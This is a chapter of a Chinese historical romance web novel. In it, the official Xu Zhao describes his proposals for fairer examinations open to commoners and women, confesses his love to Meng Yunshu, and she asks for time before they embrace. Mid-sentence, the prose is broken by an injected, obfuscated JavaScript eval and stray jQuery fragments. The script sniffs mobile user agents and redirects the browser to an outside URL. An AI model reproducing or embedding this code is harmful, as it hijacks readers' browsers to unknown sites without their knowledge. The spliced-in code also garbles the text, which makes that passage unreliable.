随着孟允抒和许昭远离云锦天街,路上行人的身影逐渐稀疏,周遭的环境也愈发安静,只剩下两人踏在地上的脚步声,以及他们之间闲谈的絮语。
“傍晚时睿言曾来过报社一趟,说他曾见到几位官员和你争辩,你们吵得不可开交,但他并不知道内情。”孟允抒缓步向前,半是八卦半是关心许昭地问他,“你又在朝中做了什么事,惹得他们那样生气?”
孟允抒之所以用“又”这个字,实在是因为许昭在外面招惹的人太多了。要是哪天她听不到有官员来找许昭吵架,那她才会觉得奇怪。
提起此事,许昭也有些愤愤不平:“因为我在今日上朝时上疏奏议,戳了那些老顽固的痛处,他们觉得是我让他们颜面扫地,就来挑我的错处。”
萧睿言当前的品级不够,他只有在特殊情况下才去上朝,因此并不知道许昭今日在朝会中说了什么。
通过平日和许昭以及萧睿言的交流,孟允抒大致知晓胤朝当前的政局。他们当今的圣上是个仁君,政治能力算不上拔尖,手腕也并不强硬,但好在慧眼识珠,知人善任。为了富国强兵,解决前朝积累下来的种种问题,他广纳贤才,鼓励他们进谏,大刀阔斧地对各种政治制度进行变革。
因此,朝中官员大致可分为三种派别。许昭向来不参与站队,但从政治志愿上来讲,他属于变革派的一员,而他口中的“老顽固”就是那些保守派的成员。
其余的大多数人则是萧睿言口中的中立派。
孟允抒好奇道:“你和陛下提了什么改制的建议,居然能令这些大臣大发雷霆?”
“这些建议我已思虑许久,眼下才得来良机。”
许昭讲起了他上疏的原委。
“如今陈修远一案已经尘埃落定,此案的经过与内情并不复杂,可其中牵涉的人员众多,也暴露出现行教育与科举选官制度的诸多弊端。相较于富家子弟,寒门学子要想通过勤学苦读而登科入士,简直难如登天。”
孟允抒赞同地点头。一个人若是家境优渥,他不用为生计奔波,自然可以专心学习。同时,因为出身优越,他能享受到优质的教育资源,在起跑线上就已经赢过寒门学子太多。
“而且,女子的情况比他们还要艰难。”
许昭仰头看向天边的一轮残月,而后将目光落在孟允抒身上。
“在大胤律法当中,虽无明文禁止女子参加科考,但人尽皆知,女子被排除在仕途之外。即便她们通过考试,也往往只能被授予一个象征性的封号,无法获得实职。因此,世人更加认为女子读书无用。”
孟允抒身为女性,对这些现象当然不满,但她没料到许昭能注意到这一点。
她问了许昭一个略显尖锐的问题。
“世人皆认为男尊女卑,说女子就应安分守己、相夫教子,而非在外抛头露面。公子却不这样认为?”
许昭的回答脱口而出,显然他早就思考过这个问题。
“那是自然,女子并非天生就该做这些事。无论是寒士也好,女子也罢,都应有机会发挥各自的才能。这样一来,国家才有可能兴旺发达,百姓方能安居乐业。”
许昭又回到了他上疏奏议的话题上:“因此,我提出了一些改制的建议,希望教育与科考选官更公平些,让人们不因出身、家世、性别所累。”
“公平”从来都是一个棘手的难题,而且要实现这一目标,就一定会有许多人的利益受损。许昭所提出的改革力度很大,必然触及多方势力,女子从政更是对传统观念的巨大冲击。
因此,孟允抒不难理解众位官员对许昭的态度。
“公子的想法很好,可此举定然会遭到来自各方的阻挠与驳斥。”
“但我必须这样做。”
许昭轻轻叹了口气,声音中不乏惋惜和悲愤。
“我母亲,江芷兰,陈暄,柳玉成,他们原本都是仁人义士,却因机遇不佳,或命途多舛,或误入歧途。大胤的土地广博,人口众多,在他们当中,又有多少人像那些人一样被埋没?这是对贤才的浪费,也是对他们人生的辜负。”
许昭抬眼看向孟允抒:“正如姑娘一般,你才华横溢,有胆有识,过去却一直被困在闺阁之中。如今你的事业蒸蒸日上,我也乐见其成。”
许昭的这番陈词在孟允抒心中掀起巨大的波澜。她终于明白,仅用“品行端正”一词来形容许昭太过单薄。
他没有阻碍自己办报,不单由于他是个好人,不愿限制她的自由,更是因为他真心实意地赞成她的做法。
孟允抒想起萧睿言所说的那句话。归根结底,她和许昭是一样的人,他们有着相同的理想信念。
她抬头注视着许昭。孟允抒面带微笑,语气却是从未有过的珍重。
“公子与我是知己。”
“只可惜这名号来得有些晚。”许昭笑笑,有些遗憾地说,“过去两年我不了解姑娘,也并不知晓你有这般雄心壮志。”
他感慨道:“姚府倒台后,你非但不怨恨我,反而为我仗义执言。从那天起我才明白,原来姑娘有主见,是个明辨是非的人。你不计较身份高低,不贪图享乐,又有学识有志气,心性坚韧,胸怀广博,着实令我敬佩。”
他的语气十分真诚,孟允抒本就醉着酒,这下被许昭一夸,她更是觉得有些晕乎。
她不好意思地推拒道:“公子谬赞了,我哪能担得起‘敬佩’二字。”
许昭看了她一眼,将目光从孟允抒身上移开:“姑娘所言极是。”
孟允抒眼见着绯色的云霞一点点攀上许昭的耳廓,忽然嗅出一丝不对劲的气息。
“我对姑娘的感情与其说是‘敬佩’,倒不如‘仰慕’二字来得更为妥当。”
许昭突如其来的直球打得孟允抒猝不及防,她想像往常一样开个玩笑缓解尴尬,可挖空了心思也没能憋出一句话。
孟允抒发觉自己的脸上发烫,心脏也剧烈跳动起来,连带着她的脚步都有些虚浮,几乎难以支撑身体。
她心慌意乱地想,肯定是她的酒劲开始发作了。
她要是再继续调侃许昭,还指不定他会发表什么惊世骇俗的言论,于是孟允抒故作镇定地说道:“公、公子何出此言?”
孟允抒结结巴巴地说完一句话,全然没有平时的巧舌如簧。这下她更加笃定,她此刻的反应是酒精作祟。
尽管许昭看起来也十分局促,可他依然执拗地看向孟允抒,一字一句地坦白自己的心迹,语气庄重而真挚。
“在庙会上姑娘曾与我对谈,你告诉我何为‘从心所欲’。近日我发现,每次我见到你便心生欢喜,不见你时又甚是思念。因此我想,我应是心悦于你。”
孟允抒慌得六神无主,她匆忙地应了声“嗯”,抬眼看向前方随风舞动的柳梢。
她同许昭聊起报社的近况,生硬地转移话题。
“多亏公子一直以来鼎力相助,现今报社的发展如日中天。照这样下去,赶今年年末,我们投入的本钱就可尽数收回。”
“那到时就劳烦你将这些钱归到府中的账目上。”许昭接过她的话说,“过去府中的账本都放在我那里,我近日正想和姑娘商量,将管账的事交给你。”
他又补充道:“姑娘放心,府中的账务并不繁杂,不会耽误你多少时间。”
以前孟允抒和许昭都是各过各的,两人名义上是夫妻,但私底下都不会过问彼此钱财的去处。
在各府当中,账务由女主人管理是一件约定俗成的事。就算孟允抒再想自我欺骗,也无法忽略许昭这句话中所含的情意。
她再次确认自己没听错:“公子让我管账?”
“你与我本就是一家人,由你管账理所应当。”许昭垂眸说道,“我只想让你放心。”
完了,她非但没能把话题引向更远的地方,反倒让他把这话说得愈加明了。
此刻孟允抒心乱如麻,不知该如何应对许昭对她的感情。
经过这段时间的相处,她和许昭一同经历了不少事,也逐步摸清了他的品行与性情。如许昭所说,孟允抒每次见到他时也一样心情愉悦。
扪心自问,她似乎的确在不觉间对许昭生出情愫,但她总觉得两人的关系还没到他所说的地步。
今日许昭的表白来得突然,如果她就这样稀里糊涂地接纳许昭的感情,这对他,对她自己来说都太过草率。
她还需要一段时间消化他们之间的感情,确定自己对许昭的心意。
孟允抒心中有了主意,她看向许昭正色道:“公子对我的情意发自肺腑,我深受触动,也感激不尽。”
她低下头,咬了咬唇说道:“只是如今报社发展正处在关键时期,我暂时抽不出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15522220|167268||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
精力来处理个人感情,也并无空闲操持家务。还望公子见谅。”
许昭久久没有回应,她也不敢直视他的面庞。
他好不容易鼓起勇气说出心里话,却得来这样的拒绝。
孟允抒突然有点后悔。这对许昭来说是个相当残忍的打击。
“我明白了。”许昭低声说道,“是我太唐突,冒犯了姑娘。”
“不,我绝无此意。”孟允抒急忙向许昭解释,“只是请公子给我些时间,容我适应一阵。”
许昭挤出一个微笑,对她点点头:“我知道。”
孟允抒见他这幅神情,心里又有些难过。
她想了想,对许昭说道:“既然我已经知晓公子对我的情意,那就请你对我换个称呼。”
“‘姑娘’一词听起来太生分了。”孟允抒对他笑笑,“以后公子就叫我‘允抒’吧。”
许昭先是一怔,而后欣喜地点头。
孟允抒这句话的潜台词就是,他们的关系有再进一步的可能。
“方才你提起报社,令我想到一件事。”聊完感情问题,许昭言归正传道,“近日报社声名鹊起,我也替你高兴。但你要小心树大招风。”
俗话说“人怕出名猪怕壮”,再加上孟允抒干的这行本来就容易得罪人,接下来的一段时间内,黎民报社肯定是站在风口浪尖上。
“你一定要保全自己。”
孟允抒看向许昭,他的面色中满是担忧。她想起许昭的心结,觉得他的反应可谓自相矛盾。
“我早就想问公子,你害怕失去身边亲友,为何却放任我查找真相?”
许昭沉默片刻,像是回避这种可能性一般,过了一会才开口。
“因为这是你的志向,我不该对你横加阻拦。我若是因为,未免太过自私。”
许昭语气诚恳,墨玉似的眼瞳被月光笼上一层清辉,在夜色中显得闪闪发亮。
“而且在做这些事时,我能察觉到你的欣喜。只要你高兴,我就愿意支持你。”
孟允抒没料到他会这样回答,一时间有些发愣。
与此同时,一阵柔软的暖意漫上心头。
这个理由十分简单,但也足够真挚。上次她听到类似的话语还是在她父母口中。
过去她为了自保以及达成目的,曾多次扯谎欺骗许昭。而这份假意却换来一颗沉甸甸的真心。
孟允抒的视线竟然有些模糊。
她强行压制住心头纷繁复杂的情绪,尽力保持语气的平静。
“多谢公子。”
许昭发觉孟允抒的声音似乎不对劲,见她低着头,就凑近了些问道:“你说什么?”
他望见了孟允抒脸上的泪痕。
许昭没料到孟允抒会做出这样的反应,手足无措地问她:“你为何突然落泪?可是我说错了话?若是如此,我向你赔罪……”
孟允抒正是百感交集之时,却被他的举动逗得破涕为笑。
许昭这人堪称钢铁直男。
她摇摇头说道:“你没有错,只是我近日略感疲惫,哭出来心中会轻松些。”
许昭一听,脸上的慌张转为担忧,向孟允抒提议道:“那待到端午时,我陪姑娘去青阳湖走走,那里每年都会赛龙舟,游客众多。你爱热闹,此处适合你去散心。”
孟允抒欣然应允,抬头看向许昭:“只是除此之外,我还想向公子要一样东西。”
“姑娘尽管开口。”
孟允抒却没有继续说话,只是张开双臂将许昭抱了个满怀。
许昭被她的举动打得措手不及,但他很快理解了孟允抒这般举动的含义,于是也抬起双手,轻柔地回应着她的动作。
这是一个相当克制的拥抱,没有掺杂恋人之间的爱,有的只是对知己情谊的欢欣和感激。
不过,孟允抒很快就发现了一丝违和感。
她的目光向下看了一眼,她感觉两人再这么抱下去,这个举动的性质就变了。
所幸许昭也意识到了这一点,他赶在孟允抒之前收回了手,尴尬地偏过头。
为了不让两人之间的空气凝滞,孟允抒轻咳一声,若无其事地转移话题道:“明日我还要去报社,公子也得上朝,我们快些回府吧。”
她不用看许昭就知道,现在他们俩的脸色比人家房前挂的灯笼还要红上几分。